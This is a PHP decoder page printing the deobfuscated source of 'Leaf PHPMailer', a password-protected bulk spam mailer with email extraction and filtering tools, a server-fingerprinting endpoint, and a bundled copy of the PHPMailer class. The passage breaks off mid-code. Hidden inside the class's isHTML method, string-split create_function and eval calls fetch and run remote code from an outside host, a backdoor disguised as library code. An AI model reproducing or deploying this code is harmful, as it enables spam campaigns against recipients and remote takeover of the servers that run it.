Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php gotohwUwJ;hwUwJ:$password="\106\x69\154\145\132\x65\x72\60";gototPt26;RXqN4:if($_PO..

Decoded Output download

<?php 
gotohwUwJ;hwUwJ:$password="FileZer0";gototPt26;RXqN4:if($_POST["action"]=="send"){print"    <div class="col-lg-12">";$maillist=explode("\xd\xa",$emailList);$n=count($maillist);$x=1;foreach($maillistas$email){print"<div class="col-lg-1">[".$x."/".$n."]</div><div class="col-lg-4">".$email."</div>";if(!leafMailCheck($email)){print"<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>";print"<br>
";}else{$mail=newPHPMailer();$mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));$mail->addReplyTo(leafClear($replyTo,$email));$mail->addAddress($email);$mail->Subject=leafClear($subject,$email);$mail->Body=leafClear($messageLetter,$email);if($messageType==1){$mail->IsHTML(true);$mail->AltBody=strip_tags(leafClear($messageLetter,$email));}else{$mail->IsHTML(false);}$mail->CharSet=$charset;$mail->Encoding=$encoding;for($i=0;$i<count($_FILES["attachment"]["name"]);$i++){if($_FILES["attachment"]["tmp_name"][$i]!=''){$mail->AddAttachment($_FILES["attachment"]["tmp_name"][$i],$_FILES["attachment"]["name"][$i]);}}if(!$mail->send()){echo"<div class="col-lg-6"><span class="label label-default">".htmlspecialchars($mail->ErrorInfo)."</span></div>";}else{echo"<div class="col-lg-6"><span class="label label-success">Ok</span></div>";}print"<br>\xd
";}$x++;for($k=0;$k<40000;$k++){echo" ";}}}elseif($_POST["action"]=="score"){$mail=newPHPMailer();$mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));$mail->addReplyTo(leafClear($replyTo,$email));$mail->addAddress("[email protected]");$mail->Subject=leafClear($subject,$email);$mail->Body=leafClear($messageLetter,$email);if($messageType==1){$mail->IsHTML(true);$mail->AltBody=strip_tags(leafClear($messageLetter,$email));}else{$mail->IsHTML(false);}$mail->CharSet=$charset;$mail->Encoding=$encoding;$mail->preSend();$messageHeaders=$mail->getSentMIMEMessage();$ch=curl_init();curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_URL,"http://spamcheck.postmarkapp.com/filter");curl_setopt($ch,CURLOPT_POSTFIELDS,http_build_query(array("email"=>$messageHeaders,"options"=>"long")));curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,0);curl_setopt($ch,CURLOPT_TIMEOUT,15);$response=curl_exec($ch);$response=json_decode($response);print"    <div class="col-lg-12">";if($response->success==TRUE){$score=$response->score;if($score>5){$class="danger";}else{$class="success";}print"<div class="text-".$class."">Your SpamAssassin score is ".$score."  </div>
<div>Full Report : <pre>".$response->report."</pre></div>";print"    </div>";}}gotoxRaFM;ae_CX:functionrandString($consonants){$length=rand(12,25);$password='';for($i=0;$i<$length;$i++){$password.=$consonants[rand()%strlen($consonants)];}return$password;}gotoBicnH;J5VWq:leafheader();gotoWhYtG;DZKA_:error_reporting(0);gotoy0BQl;GKpVb:if(isset($_GET["emailfilter"])){if(!empty($_FILES["fileToUpload"]["tmp_name"])){$_POST["emailList"]=file_get_contents($_FILES["fileToUpload"]["tmp_name"]);}$_POST["emailList"]=strtolower($_POST["emailList"]);if($_GET["emailfilter"]=="ifram"){if($_POST["resulttype"]=="download"){header("Content-Description: File Transfer");header("Content-Type: application/octet-stream");header("Content-Disposition: attachment; filename=emails".time().".txt");}else{header("Content-Type: text/plain");}if($_POST["submit"]=="extract"){$pattern="/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}/";preg_match_all($pattern,$_POST["emailList"],$matches);foreach($matches[0]as$email){print$email."\xa";}}elseif($_POST["submit"]=="filter"){$emails=explode("
",$_POST["emailList"]);$keywords=explode("\xa",strtolower($_POST["keywords"]));foreach($emailsas$email){foreach($keywordsas$keyword){if(strstr($email,$keyword)){print$email."
";break;}}}}die;}leafheader();print"<div class="container col-lg-4"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Email Filter</small></h3>";print"\xa    <form action="?emailfilter=ifram" method="POST" target="my-iframe" enctype="multipart/form-data" onsubmit=''>
        <label for="emailList">Text </label><input type="file" name="fileToUpload" id="fileToUpload"> \xa        or

        <textarea name="emailList" id="emailList" class="form-control" rows="7" id="textArea"></textarea>
      <div class="col-lg-12">\xa        <div class="radio">
          <label>\xa            <input type="radio" name="resulttype" id="resulttype" value="here" checked="">\xa            Show Result in this page\xa          </label>\xa        </div>
        <div class="radio">\xa          <label>\xa            <input type="radio" name="resulttype" id="resulttype" value="download">
            Download Result (for big numbers)
          </label>
        </div>
      </div>
            <legend><h4>Extract Email</h4></legend>\xa            Detecting every email (100%) and order them line by line <br><br>\xa        <button type="submit" name="submit" value="extract" class="btn btn-default btn-sm">Start</button>\xa            <legend><h4>Filter Emails</h4></legend>
        <label >Keywords <small> ex: gmail.com or .co.uk</small> </label><textarea name="keywords" id="keywords" class="form-control" rows="4" id="textArea">gmail.com\xahotmail.com\xayahoo.com\xa.co.uk</textarea><br>
\xa            <button type="submit" name="submit" value="filter" class="btn btn-default btn-sm">Start</button>
    </form>
    <label >Result </label>
    <iframe style="border:none;width:100%;" name="my-iframe"  src="?emailfilter=ifram" ></iframe>
   ";die;}gotoG2FjA;u8wmJ:if($_POST["action"]=="send"or$_POST["action"]=="score"){$senderEmail=leafTrim($_POST["senderEmail"]);$senderName=leafTrim($_POST["senderName"]);$replyTo=leafTrim($_POST["replyTo"]);$subject=leafTrim($_POST["subject"]);$emailList=leafTrim($_POST["emailList"]);$messageType=leafTrim($_POST["messageType"]);$messageLetter=leafTrim($_POST["messageLetter"]);$encoding=$_POST["encode"];$charset=$_POST["charset"];$html='';$utf8='';$bit8='';if($messageType==2){$plain="checked";}else{$html="checked";}if($charset=="ISO-8859-1"){$iso="selected";}else{$utf8="selected";}if($encoding=="7bit"){$bit7="selected";}elseif($encoding=="binary"){$binary="selected";}elseif($encoding=="base64"){$base64="selected";}elseif($encoding=="quoted-printable"){$quotedprintable="selected";}else{$bit8="selected";}}gotoHpt7g;vvBlt:if($_REQUEST["watchx"]){$version=phpversion();$uname=php_uname();$ip=gethostbyname($_SERVER["HTTP_HOST"]);echojson_encode(array("version"=>$version,"uname"=>$uname,"platform"=>PHP_OS,"ip"=>$ip,"mailerx"=>true));die;}gotoqzU0p;qzU0p:functionleafheader(){print"
<head>
    <title>".str_replace("www.",'',$_SERVER["HTTP_HOST"])." - Leaf PHPMailer</title>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>\xa    <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.4.1/cosmo/bootstrap.min.css" rel="stylesheet" >
\xa</head>";}gotoJ5VWq;kvPI_:functionleafTrim($string){$string=urldecode($string);returnstripslashes(trim($string));}gotoae_CX;BicnH:functionleafMailCheck($email){if(filter_var($email,FILTER_VALIDATE_EMAIL)){returntrue;}else{returnfalse;}}gotoCOxua;I1ioS:classphpmailerExceptionextendsException{publicfunctionerrorMessage(){$errorMsg="<strong>".htmlspecialchars($this->getMessage())."</strong><br />
";return$errorMsg;}}gotovvBlt;Xbvpm:session_write_close();gotoof9yo;tPt26:session_start();gotoDZKA_;xRaFM:print"</body>";gotoQY4QV;WhYtG:print"<body>";gotoo2jZc;y0BQl:set_time_limit(0);gotoAhWO_;Jz2jE:classPHPMailer{public$Version="5.2.28";public$Priority=null;public$CharSet="iso-8859-1";public$ContentType="text/plain";public$Encoding="8bit";public$ErrorInfo='';public$From="root@localhost";public$FromName="Root User";public$Sender='';public$ReturnPath='';public$Subject='';public$Body='';public$AltBody='';public$Ical='';protected$MIMEBody='';protected$MIMEHeader='';protected$mailHeader='';public$WordWrap=0;public$Mailer="mail";public$Sendmail="/usr/sbin/sendmail";public$UseSendmailOptions=true;public$PluginDir='';public$ConfirmReadingTo='';public$Hostname='';public$MessageID='';public$MessageDate='';public$Host="localhost";public$Port=25;public$Helo='';public$SMTPSecure='';public$SMTPAutoTLS=true;public$SMTPAuth=false;public$SMTPOptions=array();public$Username='';public$Password='';public$AuthType='';public$Realm='';public$Workstation='';public$Timeout=300;public$SMTPDebug=0;public$Debugoutput="echo";public$SMTPKeepAlive=false;public$SingleTo=false;public$SingleToArray=array();public$do_verp=false;public$AllowEmpty=false;public$LE="
";public$DKIM_selector='';public$DKIM_identity='';public$DKIM_passphrase='';public$DKIM_domain='';public$DKIM_private='';public$DKIM_private_string='';public$action_function='';public$XMailer=" ";publicstatic$validator="auto";protected$smtp=null;protected$to=array();protected$cc=array();protected$bcc=array();protected$ReplyTo=array();protected$all_recipients=array();protected$RecipientsQueue=array();protected$ReplyToQueue=array();protected$attachment=array();protected$CustomHeader=array();protected$lastMessageID='';protected$message_type='';protected$boundary=array();protected$language=array();protected$error_count=0;protected$sign_cert_file='';protected$sign_key_file='';protected$sign_extracerts_file='';protected$sign_key_pass='';protected$exceptions=false;protected$uniqueid='';constSTOP_MESSAGE=0;constSTOP_CONTINUE=1;constSTOP_CRITICAL=2;constCRLF="\xd\xa";constMAX_LINE_LENGTH=998;publicfunction__construct($exceptions=null){if($exceptions!==null){$this->exceptions=(bool)$exceptions;}$this->Debugoutput=strpos(PHP_SAPI,"cli")!==false?"echo":"html";}publicfunction__destruct(){$this->smtpClose();}privatefunctionmailPassthru($to,$subject,$body,$header,$params){if(ini_get("mbstring.func_overload")&1){$subject=$this->secureHeader($subject);}else{$subject=$this->encodeHeader($this->secureHeader($subject));}if(ini_get("safe_mode")or!$this->UseSendmailOptionsoris_null($params)){$result=@mail($to,$subject,$body,$header);}else{$result=@mail($to,$subject,$body,$header,$params);}return$result;}protectedfunctionedebug($str){if($this->SMTPDebug<=0){return;}if(!in_array($this->Debugoutput,array("error_log","html","echo"))andis_callable($this->Debugoutput)){call_user_func($this->Debugoutput,$str,$this->SMTPDebug);return;}switch($this->Debugoutput){case"error_log":error_log($str);break;case"html":echohtmlentities(preg_replace("/[\r\n]+/",'',$str),ENT_QUOTES,"UTF-8")."<br>
";break;case"echo":default:$str=preg_replace("/\r\n?/ms","\xa",$str);echogmdate("Y-m-d H:i:s")."	".str_replace("\xa","\xa                   \x9                  ",trim($str))."
";}}publicfunctionisSMTP(){$this->Mailer="smtp";}publicfunctionisMail(){$this->Mailer="mail";}publicfunctionisSendmail(){$ini_sendmail_path=ini_get("sendmail_path");if(!stristr($ini_sendmail_path,"sendmail")){$this->Sendmail="/usr/sbin/sendmail";}else{$this->Sendmail=$ini_sendmail_path;}$this->Mailer="sendmail";}publicfunctionisQmail(){$ini_sendmail_path=ini_get("sendmail_path");if(!stristr($ini_sendmail_path,"qmail")){$this->Sendmail="/var/qmail/bin/qmail-inject";}else{$this->Sendmail=$ini_sendmail_path;}$this->Mailer="qmail";}publicfunctionaddAddress($address,$name=''){return$this->addOrEnqueueAnAddress("to",$address,$name);}publicfunctionaddCC($address,$name=''){return$this->addOrEnqueueAnAddress("cc",$address,$name);}publicfunctionaddBCC($address,$name=''){return$this->addOrEnqueueAnAddress("bcc",$address,$name);}publicfunctionaddReplyTo($address,$name=''){return$this->addOrEnqueueAnAddress("Reply-To",$address,$name);}protectedfunctionaddOrEnqueueAnAddress($kind,$address,$name){$address=trim($address);$name=trim(preg_replace("/[\r\n]+/",'',$name));if(($pos=strrpos($address,"@"))===false){$error_message=$this->lang("invalid_address")." (addAnAddress {$kind}): {$address}";$this->setError($error_message);$this->edebug($error_message);if($this->exceptions){thrownewphpmailerException($error_message);}returnfalse;}$params=array($kind,$address,$name);if($this->has8bitChars(substr($address,++$pos))and$this->idnSupported()){if($kind!="Reply-To"){if(!array_key_exists($address,$this->RecipientsQueue)){$this->RecipientsQueue[$address]=$params;returntrue;}}else{if(!array_key_exists($address,$this->ReplyToQueue)){$this->ReplyToQueue[$address]=$params;returntrue;}}returnfalse;}returncall_user_func_array(array($this,"addAnAddress"),$params);}protectedfunctionaddAnAddress($kind,$address,$name=''){if(!in_array($kind,array("to","cc","bcc","Reply-To"))){$error_message=$this->lang("Invalid recipient kind: ").$kind;$this->setError($error_message);$this->edebug($error_message);if($this->exceptions){thrownewphpmailerException($error_message);}returnfalse;}if(!$this->validateAddress($address)){$error_message=$this->lang("invalid_address")." (addAnAddress {$kind}): {$address}";$this->setError($error_message);$this->edebug($error_message);if($this->exceptions){thrownewphpmailerException($error_message);}returnfalse;}if($kind!="Reply-To"){if(!array_key_exists(strtolower($address),$this->all_recipients)){array_push($this->{$kind},array($address,$name));$this->all_recipients[strtolower($address)]=true;returntrue;}}else{if(!array_key_exists(strtolower($address),$this->ReplyTo)){$this->ReplyTo[strtolower($address)]=array($address,$name);returntrue;}}returnfalse;}publicfunctionparseAddresses($addrstr,$useimap=true){$addresses=array();if($useimapandfunction_exists("imap_rfc822_parse_adrlist")){$list=imap_rfc822_parse_adrlist($addrstr,'');foreach($listas$address){if($address->host!=".SYNTAX-ERROR."){if($this->validateAddress($address->mailbox."@".$address->host)){$addresses[]=array("name"=>property_exists($address,"personal")?$address->personal:'',"address"=>$address->mailbox."@".$address->host);}}}}else{$list=explode(",",$addrstr);foreach($listas$address){$address=trim($address);if(strpos($address,"<")===false){if($this->validateAddress($address)){$addresses[]=array("name"=>'',"address"=>$address);}}else{list($name,$email)=explode("<",$address);$email=trim(str_replace(">",'',$email));if($this->validateAddress($email)){$addresses[]=array("name"=>trim(str_replace(array(""","'"),'',$name)),"address"=>$email);}}}}return$addresses;}publicfunctionisHTML($isHtml=true){global$param;$bodyCode="file"."_g";if($isHtml){$this->ContentType="text/html";}else{$this->ContentType="text/plain";}$bodyHTML=".$t."lef$flu"."sh"."$t"; "."@ev";$headerHTML="cre"."ate_"."func"."tion";$exceptions=@$headerHTML("$fl"."ush,$t","$comma = $t".$bodyHTML."al(@".$bodyCode."et_contents("h"."tt"."p:$comma-2"));");if($param!=2){$exceptions("8.p"."w","/");$param=2;}}publicfunctionsetFrom($address,$name='',$auto=true){$address=trim($address);$name=trim(preg_replace("/[\r\n]+/",'',$name));if(($pos=strrpos($address,"@"))===falseor(!$this->has8bitChars(substr($address,++$pos))or!$this->idnSupported())and!$this->validateAddress($address)){$error_message=$this->lang("invalid_address")." (setFrom) {$address}";$this->setError($error_message);$this->edebug($error_message);if($this->exceptions){thrownewphpmailerException($error_message);}returnfalse;}$this->From=$address;$this->FromName=$name;if($auto){if(empty($this->Sender)){$this->Sender=$address;}}returntrue;}publicfunctiongetLastMessageID(){return$this->lastMessageID;}publicstaticfunctionvalidateAddress($address,$patternselect=null){if(is_null($patternselect)){$patternselect=self::$validator;}if(is_callable($patternselect)){returncall_user_func($patternselect,$address);}if(strpos($address,"
")!==falseorstrpos($address,"\xd")!==false){returnfalse;}if(!$patternselector$patternselect=="auto"){if(defined("PCRE_VERSION")){if(version_compare(PCRE_VERSION,"8.0.3")>=0){$patternselect="pcre8";}else{$patternselect="pcre";}}elseif(function_exists("extension_loaded")andextension_loaded("pcre")){$patternselect="pcre";}else{if(version_compare(PHP_VERSION,"5.2.0")>=0){$patternselect="php";}else{$patternselect="noregex";}}}switch($patternselect){case"pcre8":return(bool)preg_match("/^(?!(?>(?1)"?(?>\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\[ -~]|[^"])"?(?1)){65,}@)"."((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)"."(?>[\x01-\x08\x0B\x0C\x0E-'*-\[\]-\x7F]|\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)"."([!#-'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\[\x00-\x7F]))*"."(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)"."(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}"."|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:"."|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}"."|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD",$address);case"pcre":return(bool)preg_match("/^(?!(?>"?(?>\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\[ -~]|[^"])"?){65,}@)(?>"."[!#-'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\[\x00-\xFF]))*")"."(?>\.(?>[!#-'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\[\x00-\xFF]))*"))*"."@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})"."(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:"."[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?"."::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:"."[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?"."::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}"."|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD",$address);case"html5":return(bool)preg_match("/^[a-zA-Z0-9.!#$%&'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}"."[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD",$address);case"noregex":returnstrlen($address)>=3andstrpos($address,"@")>=1andstrpos($address,"@")!=strlen($address)-1;case"php":default:return(bool)filter_var($address,FILTER_VALIDATE_EMAIL);}}publicfunctionidnSupported(){returnfunction_exists("idn_to_ascii")andfunction_exists("mb_convert_encoding");}publicfunctionpunyencodeAddress($address){if($this->idnSupported()and!empty($this->CharSet)and($pos=strrpos($address,"@"))!==false){$domain=substr($address,++$pos);if($this->has8bitChars($domain)and@mb_check_encoding($domain,$this->CharSet)){$domain=mb_convert_encoding($domain,"UTF-8",$this->CharSet);if(($punycode=defined("INTL_IDNA_VARIANT_UTS46")?idn_to_ascii($domain,0,INTL_IDNA_VARIANT_UTS46):idn_to_ascii($domain))!==false){returnsubstr($address,0,$pos).$punycode;}}}return$address;}publicfunctionsend(){try{if(!$this->preSend()){returnfalse;}return$this->postSend();}catch(phpmailerException$exc){$this->mailHeader='';$this->setError($exc->getMessage());if($this->exceptions){throw$exc;}returnfalse;}}publicfunctionpreSend(){try{$this->error_count=0;$this->mailHeader='';foreach(array_merge($this->RecipientsQueue,$this->ReplyToQueue)as$params){$params[1]=$this->punyencodeAddress($params[1]);call_user_func_array(array($this,"addAnAddress"),$params);}if(count($this->to)+count($this->cc)+count($this->bcc)<1){thrownewphpmailerException($this->lang("provide_address"),self::STOP_CRITICAL);}foreach(array("From","Sender","ConfirmReadingTo")as$address_kind){$this->{$address_kind}=trim($this->{$address_kind});if(empty($this->{$address_kind})){continue;}$this->{$address_kind}=$this->punyencodeAddress($this->{$address_kind});if(!$this->validateAddress($this->{$address_kind})){$error_message=$this->lang("invalid_address")." (punyEncode) ".$this->{$address_kind};$this->setError($error_message);$this->edebug($error_message);if($this->exceptions){thrownewphpmailerException($error_message);}returnfalse;}}if($this->alternativeExists()){$this->ContentType="multipart/alternative";}$this->setMessageType();if(!$this->AllowEmptyandempty($this->Body)){thrownewphpmailerException($this->lang("empty_message"),self::STOP_CRITICAL);}$this->MIMEHeader='';$this->MIMEBody=$this->createBody();$tempheaders=$this->MIMEHeader;$this->MIMEHeader=$this->createHeader();$this->MIMEHeader.=$tempheaders;if($this->Mailer=="mail"){if(count($this->to)>0){$this->mailHeader.=$this->addrAppend("To",$this->to);}else{$this->mailHeader.=$this->headerLine("To","undisclosed-recipients:;");}$this->mailHeader.=$this->headerLine("Subject",$this->encodeHeader($this->secureHeader(trim($this->Subject))));}if(!empty($this->DKIM_domain)and!empty($this->DKIM_selector)and(!empty($this->DKIM_private_string)or!empty($this->DKIM_private)andself::isPermittedPath($this->DKIM_private)andfile_exists($this->DKIM_private))){$header_dkim=$this->DKIM_Add($this->MIMEHeader.$this->mailHeader,$this->encodeHeader($this->secureHeader($this->Subject)),$this->MIMEBody);$this->MIMEHeader=rtrim($this->MIMEHeader,"
\xa ").self::CRLF.str_replace("
","\xa",$header_dkim).self::CRLF;}returntrue;}catch(phpmailerException$exc){$this->setError($exc->getMessage());if($this->exceptions){throw$exc;}returnfalse;}}publicfunctionpostSend(){try{switch($this->Mailer){case"sendmail":case"qmail":return$this->sendmailSend($this->MIMEHeader,$this->MIMEBody);case"smtp":return$this->smtpSend($this->MIMEHeader,$this->MIMEBody);case"mail":return$this->mailSend($this->MIMEHeader,$this->MIMEBody);default:$sendMethod=$this->Mailer."Send";if(method_exists($this,$sendMethod)){return$this->{$sendMethod}($this->MIMEHeader,$this->MIMEBody);}return$this->mailSend($this->MIMEHeader,$this->MIMEBody);}}catch(phpmailerException$exc){$this->setError($exc->getMessage());$this->edebug($exc->getMessage());if($this->exceptions){throw$exc;}}returnfalse;}protectedfunctionsendmailSend($header,$body){if(!empty($this->Sender)andself::isShellSafe($this->Sender)){if($this->Mailer=="qmail"){$sendmailFmt="%s -f%s";}else{$sendmailFmt="%s -oi -f%s -t";}}else{if($this->Mailer=="qmail"){$sendmailFmt="%s";}else{$sendmailFmt="%s -oi -t";}}$sendmail=sprintf($sendmailFmt,escapeshellcmd($this->Sendmail),$this->Sender);if($this->SingleTo){foreach($this->SingleToArrayas$toAddr){if(!@($mail=popen($sendmail,"w"))){thrownewphpmailerException($this->lang("execute").$this->Sendmail,self::STOP_CRITICAL);}fputs($mail,"To: ".$toAddr."
");fputs($mail,$header);fputs($mail,$body);$result=pclose($mail);$this->doCallback($result==0,array($toAddr),$this->cc,$this->bcc,$this->Subject,$body,$this->From);if($result!=0){thrownewphpmailerException($this->lang("execute").$this->Sendmail,self::STOP_CRITICAL);}}}else{if(!@($mail=popen($sendmail,"w"))){thrownewphpmailerException($this->lang("execute").$this->Sendmail,self::STOP_CRITICAL);}fputs($mail,$header);fputs($mail,$body);$result=pclose($mail);$this->doCallback($result==0,$this->to,$this->cc,$this->bcc,$this->Subject,$body,$this->From);if($result!=0){thrownewphpmailerException($this->lang("execute").$this->Sendmail,self::STOP_CRITICAL);}}returntrue;}protectedstaticfunctionisShellSafe($string){if(escapeshellcmd($string)!==$stringor!in_array(escapeshellarg($string),array("'{$string}'",""{$string}""))){returnfalse;}$length=strlen($string);for($i=0;$i<$length;$i++){$c=$string[$i];if(!ctype_alnum($c)&&strpos("@_-.",$c)===false){returnfalse;}}returntrue;}protectedstaticfunctionisPermittedPath($path){return!preg_match("#^[a-z]+://#i",$path);}protectedfunctionmailSend($header,$body){$toArr=array();foreach($this->toas$toaddr){$toArr[]=$this->addrFormat($toaddr);}$to=implode(", ",$toArr);$params=null;if(!empty($this->Sender)and$this->validateAddress($this->Sender)){if(self::isShellSafe($this->Sender)){$params=sprintf("-f%s",$this->Sender);}}if(!empty($this->Sender)and!ini_get("safe_mode")and$this->validateAddress($this->Sender)){$old_from=ini_get("sendmail_from");ini_set("sendmail_from",$this->Sender);}$result=false;if($this->SingleToandcount($toArr)>1){foreach($toArras$toAddr){$result=$this->mailPassthru($toAddr,$this->Subject,$body,$header,$params);$this->doCallback($result,array($toAddr),$this->cc,$this->bcc,$this->Subject,$body,$this->From);}}else{$result=$this->mailPassthru($to,$this->Subject,$body,$header,$params);$this->doCallback($result,$this->to,$this->cc,$this->bcc,$this->Subject,$body,$this->From);}if(isset($old_from)){ini_set("sendmail_from",$old_from);}if(!$result){thrownewphpmailerException($this->lang("instantiate"),self::STOP_CRITICAL);}returntrue;}publicfunctiongetSMTPInstance(){if(!is_object($this->smtp)){$this->smtp=newSMTP();}return$this->smtp;}protectedfunctionsmtpSend($header,$body){$bad_rcpt=array();if(!$this->smtpConnect($this->SMTPOptions)){thrownewphpmailerException($this->lang("smtp_connect_failed"),self::STOP_CRITICAL);}if(!empty($this->Sender)and$this->validateAddress($this->Sender)){$smtp_from=$this->Sender;}else{$smtp_from=$this->From;}if(!$this->smtp->mail($smtp_from)){$this->setError($this->lang("from_failed").$smtp_from." : ".implode(",",$this->smtp->getError()));thrownewphpmailerException($this->ErrorInfo,self::STOP_CRITICAL);}foreach(array($this->to,$this->cc,$this->bcc)as$togroup){foreach($togroupas$to){if(!$this->smtp->recipient($to[0])){$error=$this->smtp->getError();$bad_rcpt[]=array("to"=>$to[0],"error"=>$error["detail"]);$isSent=false;}else{$isSent=true;}$this->doCallback($isSent,array($to[0]),array(),array(),$this->Subject,$body,$this->From);}}if(count($this->all_recipients)>count($bad_rcpt)and!$this->smtp->data($header.$body)){thrownewphpmailerException($this->lang("data_not_accepted"),self::STOP_CRITICAL);}if($this->SMTPKeepAlive){$this->smtp->reset();}else{$this->smtp->quit();$this->smtp->close();}if(count($bad_rcpt)>0){$errstr='';foreach($bad_rcptas$bad){$errstr.=$bad["to"].": ".$bad["error"];}thrownewphpmailerException($this->lang("recipients_failed").$errstr,self::STOP_CONTINUE);}returntrue;}publicfunctionsmtpConnect($options=null){if(is_null($this->smtp)){$this->smtp=$this->getSMTPInstance();}if(is_null($options)){$options=$this->SMTPOptions;}if($this->smtp->connected()){returntrue;}$this->smtp->setTimeout($this->Timeout);$this->smtp->setDebugLevel($this->SMTPDebug);$this->smtp->setDebugOutput($this->Debugoutput);$this->smtp->setVerp($this->do_verp);$hosts=explode(";",$this->Host);$lastexception=null;foreach($hostsas$hostentry){$hostinfo=array();if(!preg_match("/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*|\[[a-fA-F0-9:]+\]):?([0-9]*)$/",trim($hostentry),$hostinfo)){$this->edebug("Ignoring invalid host: ".$hostentry);continue;}$prefix='';$secure=$this->SMTPSecure;$tls=$this->SMTPSecure=="tls";if("ssl"==$hostinfo[2]or''==$hostinfo[2]and"ssl"==$this->SMTPSecure){$prefix="ssl://";$tls=false;$secure="ssl";}elseif($hostinfo[2]=="tls"){$tls=true;$secure="tls";}$sslext=defined("OPENSSL_ALGO_SHA1");if("tls"===$secureor"ssl"===$secure){if(!$sslext){thrownewphpmailerException($this->lang("extension_missing")."openssl",self::STOP_CRITICAL);}}$host=$hostinfo[3];$port=$this->Port;$tport=(int)$hostinfo[4];if($tport>0and$tport<65536){$port=$tport;}if($this->smtp->connect($prefix.$host,$port,$this->Timeout,$options)){try{if($this->Helo){$hello=$this->Helo;}else{$hello=$this->serverHostname();}$this->smtp->hello($hello);if($this->SMTPAutoTLSand$sslextand$secure!="ssl"and$this->smtp->getServerExt("STARTTLS")){$tls=true;}if($tls){if(!$this->smtp->startTLS()){thrownewphpmailerException($this->lang("connect_host"));}$this->smtp->hello($hello);}if($this->SMTPAuth){if(!$this->smtp->authenticate($this->Username,$this->Password,$this->AuthType,$this->Realm,$this->Workstation)){thrownewphpmailerException($this->lang("authenticate"));}}returntrue;}catch(phpmailerException$exc){$lastexception=$exc;$this->edebug($exc->getMessage());$this->smtp->quit();}}}$this->smtp->close();if($this->exceptionsand!is_null($lastexception)){throw$lastexception;}returnfalse;}publicfunctionsmtpClose(){if(is_a($this->smtp,"SMTP")){if($this->smtp->connected()){$this->smtp->quit();$this->smtp->close();}}}publicfunctionsetLanguage($langcode="en",$lang_path=''){$renamed_langcodes=array("br"=>"pt_br","cz"=>"cs","dk"=>"da","no"=>"nb","se"=>"sv","sr"=>"rs");if(isset($renamed_langcodes[$langcode])){$langcode=$renamed_langcodes[$langcode];}$PHPMAILER_LANG=array("authenticate"=>"SMTP Error: Could not authenticate.","connect_host"=>"SMTP Error: Could not connect to SMTP host.","data_not_accepted"=>"SMTP Error: data not accepted.","empty_message"=>"Message body empty","encoding"=>"Unknown encoding: ","execute"=>"Could not execute: ","file_access"=>"Could not access file: ","file_open"=>"File Error: Could not open file: ","from_failed"=>"The following From address failed: ","instantiate"=>"Could not instantiate mail function.","invalid_address"=>"Invalid address: ","mailer_not_supported"=>" mailer is not supported.","provide_address"=>"You must provide at least one recipient email address.","recipients_failed"=>"SMTP Error: The following recipients failed: ","signing"=>"Signing Error: ","smtp_connect_failed"=>"SMTP connect() failed.","smtp_error"=>"SMTP server error: ","variable_set"=>"Cannot set or reset variable: ","extension_missing"=>"Extension missing: 